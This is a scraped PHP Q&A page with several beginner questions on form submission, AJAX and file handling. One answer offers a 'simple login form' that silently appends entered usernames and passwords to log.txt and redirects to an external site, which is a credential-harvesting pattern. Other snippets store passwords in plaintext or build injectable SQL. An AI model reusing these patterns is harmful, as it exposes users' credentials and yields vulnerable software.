How to submit form data through VSCODE? - php

I'm having trouble submitting form data through VSCODE. So basically I have a nodejs program that runs on vscode and my goal is to submit some input data from that to a online form for example.
Run the program.js file in vscode
The file picks out a username field
Submits it to a online file through php
This is the HTML file & PHP file that writes input username data to data.txt
<!DOCTYPE html>
<html>
<BODY>
<form action = "submit.php" method="POST">
<p>
<input type = "text" name = "username" />
</p>
<input type = "submit" name="submit_btn" id = "submit" value = "Submit"/>
</form>
</BODY>
</html>
<?php
if(isset($_POST['submit_btn']))
{
$username = $_POST['username'];
$text = $username ."\n";
$fp = fopen('data.txt', 'a+');
if(fwrite($fp, $text)) {
echo 'saved';
}
fclose ($fp);
}
$lines = file("data.txt"); // Get the file as an array
$lines = array_unique($lines); // Merge all duplicate lines
// Save as a new file
$file = fopen("datacurated.txt", "w");
fwrite($file, implode("", $lines));
fclose($file);
?>
So the html file is not really important but I'm not so good at coding I was trying to send a post data request through vscode but didn't work.
I was wondering if it's possible to get rid of the html file and keep the php online and have it write the needed data. I need the delete duplicate text function in the php file as well.
Is this possible using AXIOS in vscode?

As the request package has been deprecated, install got instead.
Then your Node code:
(async () => {
const { body } = await got.post("https://www.website.com/submit.php", {
json: {
username: "Whatever..."
}
});
console.log(body);
})();
You don't care what www.website.com/submit.php is written in, but you have to be certain that that server will accept a Http Post request from your computer. It is trivial for them to obstruct what you are trying to do by filtering out your domain or by adding a Captcha.

Related

Obtain AJAX returned object in PHP

I have a program which is running server script on raspberry pi (client which is also a server). I'm scanning a barcode which then executes few commands (including generating XML file). When I submit the form with the 'serial' number, I want to be able to retrieve the filename (string) returned from AJAX ($_POST) method in server.php? if (isset($_POST['filename']) does not return the filename, how do I obtain filename with a single AJAX? and use it in PHP? I have no error messages, the $_POST['filename'] is empty. I tried separating the script into a different file and creating another AJAX calling that PHP script but it did not fully work and I wonder if there is a possibility to do it with a single AJAX and make PHP listen for the returned filename.
Or maybe is there a better way to obtain the filename of the external file than through client-side? (there is always single XML file waiting to be picked up).
server.php
<?php
$show_error = "";
if (isset($_POST['serial'])) {
$serialnumber = $_POST['serial'];
if ($serialnumber > 0) {
if (isset($_POST['filename'])) {
$filenamer = $_POST['filename'];
echo $filenamer;
} else {
echo "no filename returned from ajax call";
}
$remote_file_url = 'http://' . $_SERVER['REMOTE_ADDR'] . '/345.xml'; //FILENAME NEEDED
$local_file = '345.xml'; //FILENAME NEEDED
$copy = copy( $remote_file_url, $local_file );
}
?>
<html>
<body>
<form name="test" method="post">
<input type="number" name="serial" id="serial" value="1">
<input type="submit" name="">
</form>
</body>
<script type="text/javascript">
function scan(serialnumber)
{
return $.ajax({
url : 'http://localhost/test.php',
type : 'POST',
dataType : 'json',
data : { serial_no : serialnumber},
cache : false,
success : function(data) {
var filename = data[Object.keys(data)[1]];
console.log(filename);
}
});
};
scan(<?php echo $serialnumber; ?>);
</script>
</html>
test.php
<?php
header('Access-Control-Allow-Origin: *');
header('Content-type: text/json');
# Get the serial
$serial_no = $_POST['serial_no'];
$return['serial_no'] = $serial_no;
# Get the filename of the XML file
$filename = shell_exec('find /var/www/html/*.xml -printf "%f"');
$return['filename'] = $filename;
$return['scanpink'] = 1;
echo json_encode($return);
?>
As I mentioned in my comment, you don't have filename in php because your form does not include filename field. After receiveing filename from ajax you can do another ajax request with serial & filename fields or the second solution is to use a hidden field. After receiving data in ajax you cannot use them in php - You have to send it (filename) to php.

Create a login and that stores the users imput in a text file using php

I want to create a create account page for my simple login site where the user clicks a create account button and they are brought to a page with the following form to enter a login name and a password.
<form action = "createaccount.php" method="get">
<h1> Please enter your information to create a new login account</h1>
<p>
<label>Login Name:</label><input type = "text" name = "name" />
<label>Password:</label><input type = "password" name = "pwd" />
<br/><br/>
</p>
<input type = "submit" id = "submit" value = "submit"/>
<input type = "reset" id = "reset" value = "reset"/>
</form>
After the user enters there data into the input boxes I want to run a php script to store this data into a text file called accounts.php (I know it is not secure but this data has no value to me as i am making it up as part of the learning process).
So far I have the following php code to store the data in the file createaccount.php
<?php
$username = $_GET['name'];
$password = $_GET['pwd'];
$filename = 'accounts.txt';
$fp = fopen($filename, 'a+');
fwrite ($fp, $username . "," . $password . "\n");
$fclose ($fp);
echo ("account created");
header("Location: "login.html");
die();
?>
This code I believe should take the inputs from login name and password and store them in a file called accounts.txt in the following format
username1:password1
username2:password2
etc.
then echo the screen account created and then take the user to my login.html page so they can log in with there new account info.
But I try and run the code and it does not save my data to the file at all and when i submit the form it does not direct me back to the my login screen i just get a message saying page cannot be displayed.
How to create a simple Login form.
html (login.html)
<form action="login.php" method="post">
<input type="text" id="username" name="username"/>
<input type="password" id="password" name="password"/>
<input type="submit" name="Login" value="Login">
</form>
php (login.php)
<html>
<head>
<title>Login</title>
</head>
<body>
<?php
//If Submit Button Is Clicked Do the Following
if ($_POST['Login']){
$myFile = "log.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$stringData = $_POST['username'] . ":";
fwrite($fh, $stringData);
$stringData = $_POST['password'] . "\n";
fwrite($fh, $stringData);
fclose($fh);
} ?>
//goes here after
<script>location.href='https://YOURWEBSITE.com';</script>
</body>
</html>
Hopefully that helps, any other questions add me on skype.
Skype: YouRGenetics
Website: ItzGenetics.com
~NOTE
If your using a hosting company (GoDaddy,ect) that uses permissions make sure you give all permissions to the php file and the txt file.
There are a few things wrong with your code
$fclose remove the $ sign. Otherwise error reporting will throw:
Fatal error: Function name must be a string in...
Then, you have an extra quote in
header("Location: "login.html");
^ right there
which should read as:
header("Location: login.html");
However, you're doing an echo. You can't echo and have a header. You're outputting before header.
Use echo or header.
<?php
$username = $_GET['name'];
$password = $_GET['pwd'];
$filename = 'accounts.txt';
$fp = fopen($filename, 'a+');
fwrite ($fp, $username . "," . $password . "\n");
fclose ($fp);
// echo OR header, not both
// echo ("account created");
header("Location: login.html");
die();
?>
Sidenote: You're storing information with GET. At the very least, use POST. You're transmitting this LIVE over the Web and the information will be shown in your Web browser's address bar. Should it ever go LIVE; be careful.
As you said, it's not secure. Use .htaccess to protect this file.
Example code in .htaccess
<Files data.txt>
order allow,deny
deny from all
</Files>
You should also look into the following for password storage:
CRYPT_BLOWFISH or PHP 5.5's password_hash() function.
For PHP < 5.5 use the password_hash() compatibility pack.
Add error reporting to the top of your file(s) which will help find errors.
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
// rest of your code
Sidenote: Error reporting should only be done in staging, and never production.
This code I believe should take the inputs from login name and password and store them in a file called accounts.txt in the following format
username1:password1
username2:password2
etc.
If you want to save it with a colon as a seperator, then change
fwrite ($fp, $username . "," . $password . "\n");
^
to
fwrite ($fp, $username . ":" . $password . "\n");
^
Using text files is a lot of work and demands more resources when working with these, especially when it comes to editing, deleting etc..
The use of a database is by far less maintenance and more secure when using prepared statements.
I think first you have to check the return value of fopen:
$fp = fopen($filename, 'a+');
if (FALSE === $fp) {
echo 'Can not open file...';
}
And the same for fwrite...

Connection times out when trying to use HTML form and PHP to read from different files

I'm setting up a gallery where the content of gallery.php depends on the POST data sent to it. The page first retrieves the filename of entry at line number $pagenumber in CanvasList.txt, then it gets the content of that file. If no POST data was sent, it defaults to $pagenumber = 0. The page loads when it is accessed without sending POST data, but when I use the form, the connection times out. Why is this? Here's some of my code:
<div class='formbox'>
<form class='navigator' method='POST' action='https://www.mydomain.com/gallery.php'>
<input type='text' name='pagenumber' value='pagenumber'>
<input type='submit' id='gotopage' value='Go'>
</div>
<?php
$input = $_SERVER['REQUEST_METHOD'];
if ($input == 'POST') {
$pagenumber = (int)$_POST['pagenumber'];
} else {
$pagenumber = 0;
}
$list = "gallery/CanvasList.txt";
$lines = file($list, FILE_IGNORE_NEW_LINES);
$filename = $lines[$pagenumber];
$canvasHandle = fopen('gallery/' . $filename, 'r');
//getting and processing content (works)
I tried changing the default value of $pagenumber, but same result.
changed
action='https://www.mydomain.com/gallery.php'
to
action='gallery.php'
That solved it. I'm not allowed to accept my own answer before in two days, on 23/1/14. If someone else is allowed to, I encourage them to mark this Answer as accepted.

upload file using ajax like facebook uploading

My problem is, I want to upload a csv file without pressing a submit button and I used ajax for that case. But now, their is something errors appear, and the error said fopen() Filename cannot be empty. But I already get the file value that I want, but the $_FILES[$fie]['tmp_name'] can't read this value. But if I attach the variable in an alert() they display the exact filename. This is my sample codes.
This is the html:
<form id="Form2">
<input type="file" id="fie" />
</form>
this is the javascript:
<script style="text/javascript">
$(function(){
$('#Form2').change(function(e){
e.preventDefault();
var sub = document.getElementById("fie").files[0].name;
if($('#cat1').hasClass('show')){
$('#cat1').hide();
$('#cat2').html("<img src='pb1.gif' />");
$.ajax({
url:'uploading.php',
action:'get',
data: 'fie='+sub,
success: function(data){
$('#cat2').html(data);
}
});
}
});
});
</script>
This is the Php:
uploading.php
<?php
include("conn.php"); //assuming that connected to a database.
if (isset($_GET['fie'])) {
echo "<script>alert('".$_GET['fie']."')</script>";//IN ALERT THEY EXECUTE THE EXACT VALUE OF THE FILE I INPUT
$fie = $_GET['fie'];
$file = $_FILES[$fie]['tmp_name']; //PROBLEM IS THIS. THEY CAN'T READ THE VALUE AND TELL THEIR IS NO FILE.
$handle = fopen($file,'r') or die ('Cannot open file');
fgets($handle);
do {
if (isset($data[0])) {
mysql_query("INSERT INTO tbl_numbers (numbers,cute) VALUES ('".addslashes($data[0])."','".addslashes($data[1])."')");
}
}
while ($data = fgetcsv($handle,1000,",","'"));
echo "Successful Upload~!";
}
?>
Thanks for the reply.

Check if form file exists on page load using PHP

So I have a simple form that takes a user input, passes it to a separate PHP script that does some processing on a different domain, and posts a txt file if successful. Example:
<form method="GET" action="inventory_check.php" target="_blank">
Part Number <input type="text" name="part" /><input type="submit" value="Check Inventory" />
</form>
<?php
$filename = $userInput;
if (file_exists('ftpMain/'.$filename.'')) {
$handle = fopen("ftpMain/".$filename."", "r");
$output = fread($handle, filesize('ftpMain/'.$filename.''));
fclose($handle);
$output = trim($output, '&l0O(10U');
$output = trim($output, 'E ');
echo $output;
}
else {
echo 'Failure.';
}
?>
So, inventory_check.php obviously is an inventory lookup for us, however, it's contained on another server (different domain) so it completes its processing and posts it to a file, that I read, cleanup, and display. Now my issue is twofold, I need to grab and keep the input from the user to find the filename and the second is I need to page to either reload or recheck if the file exists. What is the best approach to do this?
Note: We use an awful in house DBMS, so posting and retrieving from a DB is not an option, it took us a while to get it to read the input and FTP it correctly, so it looks like this is the only path.
Why don't you make the request in your server A? by using curl, so you could get the response right after the query.
Firstly, you'll need to get the user's input properly, and sanitize it. I'll leave out the details of the sanitize() method, as that's not really what you're asking.
<?php
if(isset($_POST)) {
$part_number = sanitize($_POST['part']);
$filename = "ftpMain/$part_number";
if (file_exists($filename)) {
$handle = fopen($filename, "r");
$output = fread($handle, filesize($filename));
fclose($handle);
/* Do things with output */
} else {
echo 'Failure.';
}
}
?>
However, you say that the file is on another server - looking for ftpMain/... is only going to look for a directory called ftpMain in your current directory. Is the file publicly available on the internet? If it is, you could do something like this:
<?php
$url = "http://yourserver.com/parts/$part_number.txt";
$response = get_headers($url, 1);
if ($response[0] == 'HTTP/1.1 200 OK') {
/* The file exists */
} else {
/* The file does not exist */
}
?>
I hope I've understood your question correctly - this assumes that the form action is pointing to itself. That is, your file with this code is also called inventory_check.php.

Categories